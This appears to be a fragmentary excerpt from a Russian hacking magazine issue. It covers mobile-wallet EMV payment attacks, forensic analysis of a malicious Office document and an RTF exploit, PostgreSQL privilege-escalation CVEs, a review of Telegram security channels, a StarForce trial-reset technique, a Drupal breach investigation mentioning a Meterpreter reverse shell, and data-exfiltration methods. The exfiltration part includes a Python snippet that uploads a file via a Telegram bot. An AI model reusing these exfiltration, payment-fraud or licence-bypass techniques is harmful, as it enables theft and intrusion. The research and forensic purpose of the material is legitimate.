В прошлом Славомир Ясек показывал пример успешного переноса
Google Pay с одного устройства на другое. При этом сохранялась воз‐
можность получать ключи SUK с серверов Google не на оригинальное устрой‐
ство. Питер Филлмор (Peter Fillmor) также детально рассматривал устройство
Apple Pay. Я в 2017 году демонстрировал на конференции Black Hat USA реп‐
лей атаки на онлайн‑криптограммы Apple Pay.
Два года назад я начал исследовать безопасность мобильных кошельков
при оплате с помощью NFC. На тот момент Google Pay был единственным
кошельком, позволяющим платить устройством с заблокированным экраном.
Я очень быстро смог применить атаку, которую использовал для бесконтак‐
тных карт Visa, чтобы обойти лимиты NoCVM или Tap & Go (в России они сос‐
тавляют 3000 рублей). Для этого было необходимо лишь активировать экран
на заблокированном телефоне. Если телефон все еще у владельца в кар‐
мане, это можно сделать, отправив команду по Bluetooth или Android Beam.
Несмотря на заявления экспертов, что «форматы и протоколы работы бес‐
контактных карт разных международных систем принципиально не различа‐
ются», я категорически с этим не согласен, ведь применить такую же атаку
против MasterCard мне не удалось.
В конце 2019 года Samsung и Apple представили поддержку «тран‐
спортных схем» в крупных мегаполисах: Нью‑Йорке, Токио, Лондоне. Во мно‐
гих транспортных системах оплата зависит от дальности поездки, при этом
финальная сумма платежа высчитывается исходя из точки входа в метро
и точки выхода. Поэтому снимать стандартную сумму при первом «тапе» кар‐
ты или кошелька некорректно. Далее, несмотря на стабильное подключение
турникетов к интернету, они не запрашивают авторизацию транзакций
онлайн, потому что соединение занимает долгое время. Вместо этого
используется асинхронная авторизация. А чтобы противодействовать мошен‐
ничеству, применяется офлайн‑аутентификация по современному стандарту
CDA, описанному еще в спецификациях EMV. Я уже рассказывал о принципе
работы CDA в статье «Близкие контакты. Разбираемся, как работают системы
безопасности кредитных карт».
Наконец, последняя проблема электронных кошельков — это необ‐
ходимость разблокировать телефон Apple или Samsung каждый раз, когда ты
подходишь к турникету метро. Крайне неудобно, не правда ли? Именно
поэтому и Samsung, и Apple сделали возможность платить на транспорте
без разблокировки телефона.
ТОКЕНИЗАЦИЯ
Мобильные кошельки существуют благодаря технологии токенизации: карта
добавляется в мобильный кошелек, данные отсылаются международной пла‐
тежной системе, которая после подтверждения всех реквизитов создает
«виртуальную карту». Она может работать только по NFC, причем только
на том устройстве, на котором карта была добавлена. Но это в теории.
Технология токенизации
->
<-
->
082600200000000826210307006359313725000000000000000000003f0002 —
остальные поля
<-
<-
Тут уже что‑то интересное. Напомню, что криптограмма — это 3DES HMAC
от некоторых полей, представленных терминалом в запросе Generate AC,
и значений в самой карте, например ATC. Моя первая догадка: а что, если
ключи и алгоритм калькуляции криптограммы AAC точно такие же, как и
для ARQC? Ведь счетчик транзакций увеличивается каждый раз на 1, даже
при возврате AAC-криптограммы. Если мы поменяем поле 9f27 на 0x80,
криптограмма будет принята терминалом и отправлена на токенизационный
хост MasterCard для авторизации. И если этот хост не проверяет значения
флагов в поле CVR, где все еще видно, что тип криптограммы другой, тран‐
закция будет одобрена.
Звучит как план, но у меня была проблема: модификация любых полей
во время общения терминала и кошелька будет замечена при офлайн‑аутен‐
тификации CDA. Тут мне на помощь пришла техника, совсем недавно найден‐
ная «швейцарскими учеными» (с). Они обнаружили, что обязательную
офлайн‑аутентификацию можно обойти, притворившись картой Visa,
и использовали эту технику для обхода ПИН‑кода.
Первый план атаки созрел:
1. Берем устройство man in the middle для модификации данных между
телефоном и терминалом.
2. Проводим атаку Card Brand Mixup — карта MasterCard притворяется кар‐
той Visa (как это делать — читай в исследовании Card Brand Mixup Attack,
PDF).
3. На последнем шаге применяем атаку Cryptogram Confusion: когда кошелек
возвращает криптограмму типа 0x00 (AAC), мы меняем значение поля
9f27 на 0x80 (ARQC).
Я был приятно удивлен тем, что в конце концов ата‐
ка Cryptogram Confusion прошла и транзакция была одобрена. Вот виде‐
озапись этой атаки.
Хотя кошелек с картой Visa передал информацию о том, что телефон не был
разблокирован, эта транзакция была одобрена Visa Tokenisation Service.
->
082600200000000826210307006359313725000000000000000000003f0002 —
остальные поля
ИТОГИ
Я обнаружил несколько способов атаковать украденные мобильные кошель‐
ки, если на устройстве возможна оплата без разблокировки телефона. Также
я нашел новую интересную атаку на протокол EMV — Cryptogram Confusion.
С помощью нее можно атаковать не только мобильные кошельки, но и чи‐
повые/бесконтактные карты.
Мне удалось совершить платеж по клонированным транзакциям кошелька
Google Pay c привязанной MasterCard даже при ограничении в пять попыток.
Когда же дело дошло до общения с мобильными вендорами и МПС, итоги
оказались неутешительными:
1. Обо всех недостатках Google была оповещена в феврале. Они сообщили,
что в курсе проблем и планируют закрыть возможность платежей на заб‐
локированном экране. Это реализовано созданием отдельной опции
в настройках NFC после февраля 2021 года. Также во всех регионах раз‐
работчики уменьшили число транзакций на заблокированном телефоне.
Остальные уязвимости были проигнорированы.
2. Apple, Samsung, MasterCard были оповещены весной 2021 года, и завер‐
телось… Apple заявила, что 15 байт для активации NFC — достаточная
защита для пользователей. Все мобильные вендоры подняли лапки кверху
и, сказав, что не имеют права менять код кошельков, попросили раз‐
решения поделиться находками с МПС. После того как разрешения были
даны, мою страницу в LinkedIn много раз посещали уважаемые люди
из всех МПС, но никто никогда со мной так и не связался.
Летом этого года MasterCard не только закрыла лазейку для Card Brand Mixup
Attack от швейцарских исследователей, но и устранила лазейку
для Cryptogram Confusion. Я обнаружил это случайно только в октябре,
при подготовке к выступлению. Помимо этого, во многих регионах поле MCC
было добавлено в криптограмму, что делает подмену MCC невозможной
даже во время Transaction Stream Manipulation. Поменялся метод представ‐
ления ATC/AAC на заблокированных телефонах Samsung, что и навело меня
на мысли о патче. Версию патча я смог выпытать у Samsung (апдейт MPBP
1.2.2, May 27, 2021).
Visa не сильно переживает из‑за все еще существующей возможности
совершать платежи на украденных и разряженных телефонах Apple и еще
меньше — из‑за манипуляций транзакционным потоком. Они верят в машин‐
ное обучение, риск‑ориентированную модель и, скорее всего, заняты раз‐
витием бизнеса или другими интересными возможностями, а не безопас‐
ностью своих клиентов.
Атаки, которые возможны до сих пор:
1. Транспортная карта Visa + Apple Pay — безлимитные платежи на заб‐
локированном, разряженном или украденном устройстве. Также до сих
пор возможны платежи по кошелькам Visa + Google Pay, тут с 2019 года
ничего не изменилось.
2. MasterCard + Google Pay — возможно клонирование транзакций, когда
украденной информации будет достаточно для совершения определен‐
ного числа платежей.
3. Остальные вариации карта + кошелек — атаки возможны только
при манипуляции Transaction Stream.
WWW
Презентацию и whitepaper, которые я исполь‐
зовал при подготовке этой статьи, можно скачать
тут.
ВЗЛОМ
УРОКИ
ФОРЕНЗИКИ
ИССЛЕДУЕМ ВРЕДОНОСНЫЕ ДОКУМЕНТЫ
MICROSOFT OFFICE
rayhunt454
grigadan454@gmail.com
INFO
Исследование мы будем проводить в лабора‐
тории для анализа вредоносов, подробно описан‐
ной в статье «Код под надзором. Создаем вир‐
туальную лабораторию для анализа малвари».
OBFUSCATED
Загрузим с сайта архив с заданием. Первым делом посчитаем хеш
MD5 содержащегося в архиве файла (в результате получится значение
49b367ac261a722a7c2bbbc328c32545) и проверим его на VirusTotal.
Теперь получим информацию о структуре вредоносного документа.
Для этого воспользуемся утилитой oleid.
oleid 49b367ac261a722a7c2bbbc328c32545
Тулза определила, что это документ Microsoft Office Word и в нем есть VBA-
макрос. Его нам предстоит вытащить наружу. Для начала воспользуемся ути‐
литой oledump и посмотрим, в каком потоке OLE содержится VBA-макрос.
oledump 49b367ac261a722a7c2bbbc328c32545
olevba -a 49b367ac261a722a7c2bbbc328c32545
olevba -c 49b367ac261a722a7c2bbbc328c32545
INFO
Для деобфускации VBA-макроса можно восполь‐
зоваться утилитой ViperMonkey, которая эмулиру‐
ет выполнение сценария, но сегодня проведем
ручной анализ.
MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74
dlb1SiFOkR1Hh
import re
def Decode(bVar):
# Алгоритм декодирования полезной нагрузки
result = ""
key = 45
for i in range(0,len(bVar)):
result += chr(bVar[i] ^ key)
key = (key ^ 99) ^ (i % 254)
return result
reg =
b"MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74
dlb1SiFOkR1Hh"
f = open("49b367ac261a722a7c2bbbc328c32545","rb")
w = open("maintools.js","w") # Файл для записи раскодированной
полезной нагрузки
data_read = f.read()
data1 = data_read[start:stop]
w.write(Decode(data))
f.close()
w.close()
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
УРОКИ ФОРЕНЗИКИ
ИССЛЕДУЕМ ВРЕДОНОСНЫЕ ДОКУМЕНТЫ
MICROSOFT OFFICE
w = open('result.js','wb')
w.write(decode)
w.close()
C:\Users\<Пользователь>\AppData\Local\Microsoft\Windows
EMPRISA MALDOC
Разберем задание с вредоносным документом в формате Microsoft Rich Text
Format (RTF). Такие файлы очень часто используются злоумышленниками
при фишинговых атаках и, как правило, содержат эксплоиты.
Для начала соберем информацию об объекте исследования с помощью
утилиты rtfobj.
rtfobj c39-EmprisaMaldoc.rtf
rtfdump c39-EmprisaMaldoc.rtf
oledump objrtf
Анализ OLE-объекта
https://raw.githubusercontent.com/accidentalrebel/accidentalrebel.
com/gh-pages/theme/images/test.png
ВЫВОДЫ
На этих двух примерах мы рассмотрели методику исследования подозритель‐
ных документов, которые распространяются злоумышленниками по электрон‐
ной почте при фишинговых атаках. На GitHub можно найти РoС для рассмот‐
ренной нами эксплуатации уязвимости CVE-2017-11882, который выполняет
шелл‑код по адресу в памяти 0x00402114. Microsoft закрыла эту уязвимость,
выпустив патч KB4011604. Не забудь установить это обновление, чтобы обе‐
зопасить себя от подобной атаки.
ВЗЛОМ
Андрей Бородин
Руководитель подразделения
разработки РСУБД с
открытым кодом в
Yandex.Cloud, PostgreSQL
contributor.
x4mmm@yandex-team.ru
УЯЗВИМОСТИ
СЛОНОВ НАИБОЛЕЕ ЭПИЧНЫЕ CVE
В POSTGRESQL
WARNING
Статья имеет ознакомительный характер и пред‐
назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.
Они туда приезжают из докер‑образа или при инициализации с initdb. Что
же делать с такой возможностью?
INFO
Сразу отмечу два момента.
1. Конечно, это стриггерит мониторинги —
для защиты от таких взломов необходимо пос‐
тоянно проверять whitelist суперъюзеров в сис‐
теме. Это совсем несложно технически и в
хороших системах давно сделано. Но неприят‐
ности могут начаться еще до того, как на хост
прибегут безопасники с щипцами и паяль‐
ником.
2. Хорошую инструкцию по основам хакинга
PostgreSQL можно найти на pentest-wiki.
Некоторые примеры в этой статье взяты оттуда.
static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
if (!superuser())
{
if (!PQconnectionUsedPassword(conn))
{
PQfinish(conn);
if (rconn)
pfree(rconn);
ereport(ERROR,
(errcode(
ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superuser cannot connect if the
server does not request a password."),
errhint("Target server's authentication method
must be changed.")));
}
}
}
Реплицирование БД в PostgreSQL
postgresql://host1:port2,host2:port2/?target_session_attrs=read-write
Это фича PostgreSQL 10, о ней можно подробнее почитать тут. Но и
в PostgreSQL 9.6 можно сделать то же самое, если один DNS name вернет
несколько IP-адресов.
Суть уязвимости CVE-2018-10915 заключается в том, что, один раз
использовав пароль для аутентификации, dblink и postgres_fdw согласны зай‐
ти к следующим хостам без пароля. Нам достаточно поднять свою реплику,
доступную серверу по сети, аутентифицироваться в ней, а затем вернуться
в localhost.
CommitTransactionCommand();
Как нам сделать, чтобы этот триггер вызвался во время вакуума? Для этого
нужно, чтобы вакуум вставлял данные, а он их удаляет... Просто надо сделать
так, чтобы вакуум одной таблицы вставлял данные в другую!
Какие функции вызываются при вакууме? Функции индексов по выраже‐
нию. Рассмотрим код эксплоита полностью.
ANALYZE exp;
Здесь вакуум exp вызывает sfunc(), которая вставляет данные в t0. Затем
триггер на t0 вызывает string() в конце транзакции с контекстом супер‐
пользователя, который, в свою очередь, вызывает snfunc(). А он грантит
суперпользователя атакующему. Для эксплуатации этой уязвимости нужна
возможность создавать таблицы и индексы.
CVE-2020-25695 найдена Этьеном Столмансом aka staaldraad и подробно
описана в его блоге. Денис Смирнов также адаптировал эту уязвимость
для GreenplumDB.
ЗАКЛЮЧЕНИЕ...
...тюремное может грозить при использовании этой информации необдуман‐
но. Помни, что все эти развлечения представлены тут, просто чтобы подумать
о вечном, битах и байтах, все такое. Ставь апдейты своевременно. Используй
эксплоиты, только чтобы учиться, исследовать и этично репортить о проб‐
лемах безопасности. А еще не забывай вовремя делать резервные копии,
например с помощью инструмента для резервного копирования баз данных,
разработкой которого я занимаюсь.
ВЗЛОМ
ShəLMā
Киберпанк, технокрыс
и просто мерзкая личность.
schelma@protonmail.com
ХАКЕРСКАЯ
ТЕЛЕГА
ОБЗОР TELEGRAM-КАНАЛОВ
ОБ ИНФОРМАЦИОННОЙ
БЕЗОПАСНОСТИ
ИНФОРМАЦИЯ ОПАСНОСТЕ
Канал Голактеко «Информация опасносте» рассказывает о новостях в мире
инфобеза и в окружающем его киберпространстве. Причем «опасносте» —
это не очепятка. Впрочем, кто сейчас вспомнит тот древний леперско‑упячеч‐
ный мем?
@IN51D3
@in51d3 (читается как Inside, если ты вдруг сомневался) — это канал, пос‐
вященный информационной безопасности в самом широком смысле этого
замысловатого понятия. Ведет его Немезидa — админ DEFCON7495. Канал
насчитывает немногим более 8000 подписчиков, что можно назвать вполне
солидной аудиторией.
Основной тип контента @in51d3 — ссылки на статьи в блоге Inside. Пуб‐
ликации разделены по темам «Пентест», «Социальная инженерия и OSINT»,
«Hardware Hacking», «Сети», «Информационная безопасность», «IoT» и нес‐
кольким другим. Тексты представлены как на русском, так и на английском
языках. В принципе, все самое интересное можно прочитать и прямо в блоге,
но, подписавшись на телеграм‑канал, ты точно не пропустишь ни одной
новинки.
КАВЫЧКА
Под этим заковыристым названием скрывается телеграм‑канал, целиком
и полностью посвященный информационной безопасности, уязвимостям
и атакам на веб‑приложения. Ведет его широко известный в узких кругах
ИБ‑исследователь Антон Лопаницын, он же Bo0oM.
«Кавычка» рассказывает о конкретных уязвимостях и приводит примеры их
эксплуатации, для более вдумчивого изучения дают ссылки на дополнитель‐
ные источники. Все кратко и по делу. Главное — без назойливой рекламы.
Канал «Кавычка»
HACKER’S TOYS
Hacker’s Toys — регулярно обновляемая подборка инструментов, сервисов
и утилит для пентеста, взлома и OSINT. Каждая ссылка снабжена кратким опи‐
санием. Иногда встречаются и довольно полезные тулзы, однако канал изо‐
билует раздражающей рекламой.
Hacker’s Toys
CODEBY PENTEST
Сайт канала Codeby Pentest, ссылка на который приводится в его описании,
заблокирован уполномоченными органами государственной власти, что мож‐
но считать определенным «знаком качества». Канал насчитывает более 26К
подписчиков и публикует новости, линки на полезные сервисы, аналитику
и прочие статьи, посвященные пентесту, защите данных и информационной
безопасности. Встречается и реклама, не без этого.
Codeby Pentest
УТЕЧКИ ИНФОРМАЦИИ
Интересуешься утечками информации или самоотверженно борешься
с таковыми? Самые свежие публикации о подобных событиях можно отыскать
на канале с говорящим названием «Утечки информации»». 74,5К подписчиков
и почти ежедневные новости о рынке «пробива», появлении в продаже слитых
баз и, конечно же, поимке персонажей, которые эти самые сливы организуют.
Информации о том, где скачать эти самые базы, на канале нет, но и соз‐
давался он не для этого.
SECURITYLAB
Канал представляет собой анонсы публикаций, размещаемых на сайте
Securitylab.ru, который, как известно, создан и обновляется компанией
Positive Technologies. Поэтому новости РТ можно читать как на этом сайте, так
и прямо в телеге, что и делают 30К подписчиков канала.
SecurityLab
IT И БЕЗОПАСНОСТЬ
Канал «IT и безопасность» все же больше про безопасность, чем про IT, этим
и интересен. Контент канала — анонсы новостей, выложенных на различных
инфосек‑площадках, ассортимент которых достаточно велик. Поэтому беглый
просмотр последних публикаций ранним утром за чашечкой пива кофе поз‐
волит быстро составить информационную картину событий, происходящих
в мире ИБ. Реклама попадается, но ненавязчивая и немного.
ITSEC NEWS
Еще один новостной канал о кибербезопасности на 5К подписчиков. Новости
здесь подаются крайне лаконично: в формате «заголовок — ссылка». Весьма
ценно для тех, кто не любит долгих прелюдий или привык листать ленту телеги
с телефона. Источников публикаций на канале фактически три: это уже упо‐
мянутый SecurityLab, Anti-Malware.ru и, конечно же, твой любимый журнал.
Если лень мониторить три этих сайта вручную, можно использовать ITsec
NEWS в качестве агрегатора. Для каких‑либо других целей он не годится,
по крайней мере до тех пор, пока админы не поборют лень и не начнут пар‐
сить новости из большего количества источников.
HACKER NEWS
И еще один новостной канал, который хорошо нам известен, поскольку пос‐
тит новости с «Хакера». Здесь они перемежаются тематическими статьями
с «Хабрахабра», что тоже может быть полезно. Дополнительное развле‐
чение — возможность поставить новостям «класс» или пожаловаться (то есть
поставить минус). Бывает очень смешно наблюдать, как читатели этого
канала минусуют новости, когда им не нравится суть произошедшего.
НЕКАСПЕРСКИЙ
Канал NeKaspersky, как следует из его описания, рассказывает об «адек‐
ватном восприятии того, что происходит в мире IT и кибербезопасности, вне
политического дискурса». В целом довольно любопытное чтиво — здесь я,
например, узнал, что некая психиатрическая больница в Краснодаре раз‐
местила тендер на оказание услуг информационной безопасности (вот психи,
ты посмотри на них!), о том, что какие‑то жулики продают в сети базу данных
наркологической клиники прямо с историями болезней (интересно, кому оно
надо?), а еще о том, что Microsoft унижает Google Chrome (тем, что продвига‐
ет Edge).
В общем, довольно интересная площадка с новостями из мира ИБ и IT,
из тех, что приятно почитать перед сном.
АНТИВИРУСНОЕ ДНО
Пожалуй, «Антивирусное дно» — один из самых забавных каналов в нашей
сегодняшней подборке. Созданный бывшими сотрудниками АВ‑компаний, он
рассказывает о событиях, происходящих в антивирусной индустрии, слу‐
чающихся там происшествиях и одержанных факапах победах.
ВСЯКОЕ РАЗНОЕ
Вообще, список популярных каналов «Телеграма», заявленных как айтишные,
можно найти вот здесь, но, честно говоря, отыскать в этом перечне что‑то
достойное весьма непросто. Например, самый популярный канал с 374К под‐
писчиками под названием «Эксплойт» изобилует статьями с заголовками
«Учимся гуглить», «Как добавить QR-код о вакцинации в Wallet» и «Как скачать
файл на Android-телефоне». Примерно такая же картина с каналами «Бэкдор»
(204К подписчиков, «Как скачать картинку с фотостока», «Как поставить диз‐
лайк на YouTube») и «Троянский конь» (94,5К подписчиков, «Как управлять уве‐
домлениями в телефоне?», «Как узнать состояние электронного письма?»).
В общем, несмотря на громкие названия, к ИБ это не имеет ни малейшего
отношения.
Из интересного на этой странице я отыскал разве что канал под названием
«Темная сторона интернета» — это подборка публикаций на тему даркнета,
приватности, утечек и социнженерии, есть переводы зарубежных публикаций.
Минус — встречается реклама.
Вот еще несколько интересных техноканалов, не все из которых освещают
исключительно тему ИБ, что, впрочем, не делает их менее интересными
и полезными:
• Sys-Admin & InfoSec Channel — прикладной канал для системных админис‐
траторов со всякими админскими полезностями.
• The Bug Bounty Hunter — отчеты с Н1 и райтапы по актуальным багам.
• YAH — отчеты о «хакерских» событиях, подкасты и интервью.
• Горизонт Событий — канал обо всяких необычных вещах, которые можно
найти, если слишком глубоко рыться в интернете.
• ∏ρ؃uñçτØρ Øπτµç∑ — знаменитый «Профунктор», канал с трешовыми
мемами для и про айтишников.
• Не баг, а фича — заметки о IT вообще, написанные простым и понятным
языком, но иногда попадаются довольно любопытные ссылки на полезные
сервисы и приложения.
• wintermute — автор этого канала ищет киберпанк в реальном мире
и находит его. В среднем пару‑тройку раз в месяц.
• Кибердянск — раз уж заговорили о киберпанке, нельзя не вспомнить
об этих классных комиксах.
• Технологии, медиа и общество — жил‑был на свете Антон Городецкий
Андрей Бродецкий, журналист и публицист. Андрей пишет о технологиях
и о том, как они меняют мир, причем пишет неплохо. Рекомендуем!
• Denis Sexy IT — канал Дениса Ширяева об IT-технологиях и (цитата) «обо
всякой фигне, которая мне кажется интересной». Фигня там и вправду
встречается, но интересной фигни, действительно, гораздо больше. Есть
что почитать!
• Радиорубка Лихачёва — бывший главред TJournal Никита Лихачёв пишет
о технике, обществе и современных медиа.
• Уже написали — еще один авторский канал, в основном о самоуправля‐
емых машинах и прочих роботах.
• Zhovner Hub — личный канал великого и ужасного Павла Жовнера, CEO
Flipper Zero и изобретателя «мультитула‑тамагочи» для пентестеров.
• ЗаТелеком — новости телекома, свежая инфа о последних блокировках,
фотки последних живых таксофонов.
ЗВЕЗДНАЯ
СИЛА
КАК УЯЗВИМОСТЬ
В STARFORCE
ПОЗВОЛЯЕТ
ОБНУЛЯТЬ ТРИАЛ
МВК
WARNING
Статья имеет ознакомительный характер и пред‐
назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.
Если ты почему‑то не смог скачать актуальную версию Detect It Easy (нап‐
ример, злой провайдер отрубил тебе интернет), можно воспользоваться
и другими популярными вьюверами EXE PE вроде hiew, CFF Explorer и им
подобных. В этом случае признаком присутствия в исследуемом файле
StarForce ProActive могут служить специфические секции в хидере запус‐
каемого модуля (.ps4 или .sforce3 в более старых версиях защиты). Вдо‐
бавок обычно рядом с защищенной программой лежит библиотека с именем
из непроизносимого сочетания символов или с более простым наименова‐
нием — protect.dll. В любом случае в ней будут присутствовать экспор‐
тируемые функции такого вида:
PSM_0
PSA_CheckFeaturesGrantedByLicense
PSA_DummyFunction
PSA_GetFeaturesGrantedByLicense
PSA_GetLicenseConfirmationTime
PSA_GetLicenseConfirmationTimeLimit
PSA_GetLicenseCreationDateTime
PSA_GetLicenseExecutionTimeLimit
PSA_GetLicenseExpirationDateTime
PSA_GetLicenseInformation
PSA_GetLicenseLifeTimeLimit
PSA_GetLicenseNumberOfRunsLimit
PSA_GetLicenseStartDateTime
PSA_GetLicenseStoragePath
PSA_GetNumberOfConnections
PSA_GetRemainingExecutionTime
[{436E44ED-269F-DA68-CA05-3EF38F4E7BBD}]
Class={B550918B-6C02-BB96-5111-C81A7F525081}
GIUD в первой из них точно такой же, как и имя подпапки Keys, найденной
нами в реестре. Аккуратно удаляем эти две строки из файла, удаляем ветку
реестра и при перезапуске программы получаем свеженький чистый триал
без особых хлопот с отладчиком.
В общем, мы еще раз убедились в том, что система StarForce вовсе
не канула в Лету, а продолжает развивать и совершенствовать собственные
технологии. Но, конечно, идеальных методов защиты не существует, и пыт‐
ливый ум при достаточной усидчивости и мотивации всегда найдет быстрый
путь преодолеть преграды любой сложности. Надеюсь, разработчики
подумают о том, как усилить создаваемую ими защиту, а читателям я хочу
напомнить, что этот рассказ был написан исключительно в академических
целях и нарушать штатную работу коммерческих приложений — незаконно.
Берегите себя, и да пребудет с вами сила!
ВЗЛОМ
УРОКИ
ФОРЕНЗИКИ
РАССЛЕДУЕМ ВЗЛОМ ВЕБ-СЕРВЕРА
С LINUX, APACHE И DRUPAL
Используемые утилиты:
1. FTK Imager — инструмент для анализа и получения образов диска.
2. R-Studio — утилита для восстановления данных с диска.
3. Plaso — утилита на Python, предназначенная для генерации времени
событий операционной системы. Подробнее о ней читай в статье «Тай‐
млайн всего. Используем Plaso для сбора системных событий».
file Webserver.E01
Нас интересует диск Virtual Storage 1.00 → F, так как его ФС — ext4. Далее
выбираем диск F и нажимаем «Сканировать». Утилита R-Studio начнет ска‐
нировать адресное пространство диска и искать в нем все файлы, в том
числе удаленные. После завершения сканирования переходим в диск F
в интерфейсе R-Studio и получим все каталоги и файлы файловой системы.
ИЗУЧАЕМ КОНФИГИ ОС
Получим информацию о системе, чтобы понимать, какие сервисы установ‐
лены, с какой операционной системой работаем и какие пользователи
существуют. Эта информация расположена в каталоге /etc файловой сис‐
темы Linux. Информацию об имени компьютера ты найдешь в файле /etc/
hostname (в нашем случае это VulnOSv2). В файле /etc/os-release содер‐
жится информация об операционной системе (Ubuntu версии 14.04.4 LTS).
$id$salt$hashed
В этом файле содержится 58 групп, а в группу sudo входят пользователи php
и mail. Значит, они могут выполнять команды от имени суперпользователя
root. Найдем правила о предоставлении доступа для группы sudo. Они опи‐
сываются в файле /etc/sudoers.
Это правило означает, что все пользователи группы sudo могут выполнять
любые действия в системе от имени администратора.
Определим версию и конфигурацию сайта на Drupal. Для этого переходим
в каталог /var/www/html/jabc, в файле /var/www/html/jabc/includes/
bootstrap.inc содержится версия CMS системы. Это Drupal 7.26 — она уяз‐
вима, и для нее есть эксплоиты, дающие удаленное выполнение кода.
В качестве веб‑сервера установлен Apache 2. Файл его конфигурации рас‐
положен в /etc/drupal/7/htaccess.
Итак, на этом этапе мы с тобой выяснили, с какой операционной системой
мы имеем дело, какое ПО на ней установлено и какие настройки заданы.
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
УРОКИ ФОРЕНЗИКИ
РАССЛЕДУЕМ ВЗЛОМ ВЕБ-СЕРВЕРА С LINUX,
APACHE И DRUPAL
INFO
О том, как работает эта уязвимость, читай
в статье «Друпалгеддон-2. Подробно разбираем
новую уязвимость в Drupal».
Как видно на рисунке выше, код является полезной нагрузкой Meterpreter
и содержит IP-адрес 192.168.210.131 и порт 4444 для обратного соеди‐
нения. Отлично, мы теперь знаем, что злоумышленники проэксплуатировали
CVE-2018-7600 в сервисе Drupal версии 7.26 и загрузили в память полезную
нагрузку Meterpreter.
Теперь нам нужно найти признаки постэксплуатации. 5 октября 2019 года
в 13:17:48 (UTC+2) обнаружен запрос к файлу update.php c параметром
cmd=ls.
utmpdump wtmp
utmpdump btmp
Обнаруженный файл
Файл создан 5 октября 2019 года в 14:02:18 (UTC+3). Имей в виду, что R-
Studio отображает временную метку файлов с учетом твоего системного вре‐
мени.
Содержимое файла 37282.c
Для создания таймлайнов удобно использовать Plaso. Там есть очень удоб‐
ный скрипт Psteal, который умеет извлекать события из образа диска сис‐
темы. Вот как его использовать:
ВЫВОДЫ
Мы с тобой провели расследование киберинцидента, нашли точку входа зло‐
умышленников, выявили дальнейшие действия после взлома веб‑сервера
и построили таймлайн событий, который можно будет смело включать в отчет.
По результатам решения кейса на CyberDefenders необходимо ответить
на ряд вопросов, но я намеренно показал лишь процесс решения и не буду
давать тебе готовые ответы. Можешь повторить процесс и самостоятельно
ответить на вопросы для закрепления материала.
ВЗЛОМ
ПРОБЛЕМЫ
ЭКСФИЛЬТРАЦИИ
КАК ПОЙМАТЬ ВОРОВ
ИЛИ НЕ ПОПАСТЬСЯ
ПРИ ПЕНТЕСТЕ
Иван Балашов
Главный эксперт отдела
Оценки защищенности
Центра Киберзащиты в
Департаменте
Кибербезопасности Сбера
Однако мир движется вперед, и сейчас многие уже не используют сервисы
хостинга файлов: их с успехом заменили мессенджеры, практически в каждом
из которых есть возможность использовать диалог как облачное хранилище.
То, сколько в чатах того же WhatsApp ходит фотографий паспортов и других
персональных данных «по работе», заслуживает отдельной статьи. Кроме
того, для нас важно, что у крупных мессенджеров есть веб‑версии, доступные
напрямую из браузера. Выгружать данные через них возможно как через бра‐
узер (если мы имеем физический доступ к машине), так и автоматически,
используя API. Зачастую для этого уже предусмотрена функция загрузки фай‐
лов. Например, через Telegram-бота. Делается это всего одним POST-зап‐
росом.
import requests
requests.post("https://api.telegram.org/botBOTTOKEN/
sendDocument?chat_id=00000",files={"document":open('Desktop\\cypher.
jpg','rb')})
Загруженный файл
Как ловить?
Отделить честный пользовательский трафик от злодейской попытки вывести
данные через веб — задача непростая. Особенно учитывая, что сейчас почти
не осталось ресурсов, которые бы не использовали шифрование. Так что
основной инструмент борьбы в этом случае — банальная блокировка внеш‐
них ресурсов на периметре организации. Так можно бороться с загрузкой
на облачные хранилища или даже заблокировать все мессенджеры и GitHub.
Однако это не спасет от выкладывания порезанного на куски шифрованного
архива с измененным расширением на какую‑нибудь малоизвестную, но име‐
ющую честную репутацию вики.
Наиболее дешевый и эффективный способ в этом случае — вайтлист
интернет‑ресурсов, доступных из корпоративной сети. Однако сейчас очень
мало организаций может позволить себе полностью изолировать своих сот‐
рудников от веба. Если такая возможность есть, то можно использовать
фильтрующий прокси, что даст пользователям доступ к вебу и обеспечит кон‐
троль конечных URL, типов и тел запросов.
Как обойти?
Даже если функция загрузки файла недоступна в чистом виде (например,
заблокированы все POST-запросы размером больше 1 Мбайт), возможность
передавать сообщения в обе стороны при использовании средств автомати‐
зации превращает протокол такого приложения в полноценную среду
передачи данных. Рассмотрим в качестве примера приложение Zoom, став‐
шее очень популярным за время пандемии. Это приложение имеет полноцен‐
ный REST API. Как в клиенте, так и через API Zoom есть возможность соз‐
давать каналы и писать сообщения в них.
На GitHub выложен PoC на Python, представляющий собой шелл, который
использует каналы Zoom как среду передачи. Управлять ПК, на котором
запущен скрипт, возможно как через API, так и непосредственно из клиента.
Каналы в Zoom
DNS-ТУННЕЛИРОВАНИЕ
Инкапсуляция данных в тело прикладных протоколов — один из самых рас‐
пространенных методов эксфильтрации данных и построения туннелей. Так
как исходящий DNS-трафик разрешен в большинстве корпоративных сетей,
его можно использовать как канал связи между сервером атакующего и ском‐
прометированным хостом.
В настоящее время существует множество утилит для создания DNS-тун‐
нелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka,
OzymanDNS, psudp, squeeza, tcp-over-dns. В 2017 году на конференции
ZeroNights санкт‑петербургская группа DC 7812 представила расширение
Meterpreter, реализующее транспортный канал для контроля над агентом
Meterpreter при помощи DNS-туннеля.
Расширение Meterpreter
Как ловить?
Есть разные методы обнаружения DNS-туннелирования в сети. Все они осно‐
ваны на анализе содержимого пакетов DNS, а также количества и частоты
DNS-запросов. При эксфильтрации данные кодируются и передаются в виде
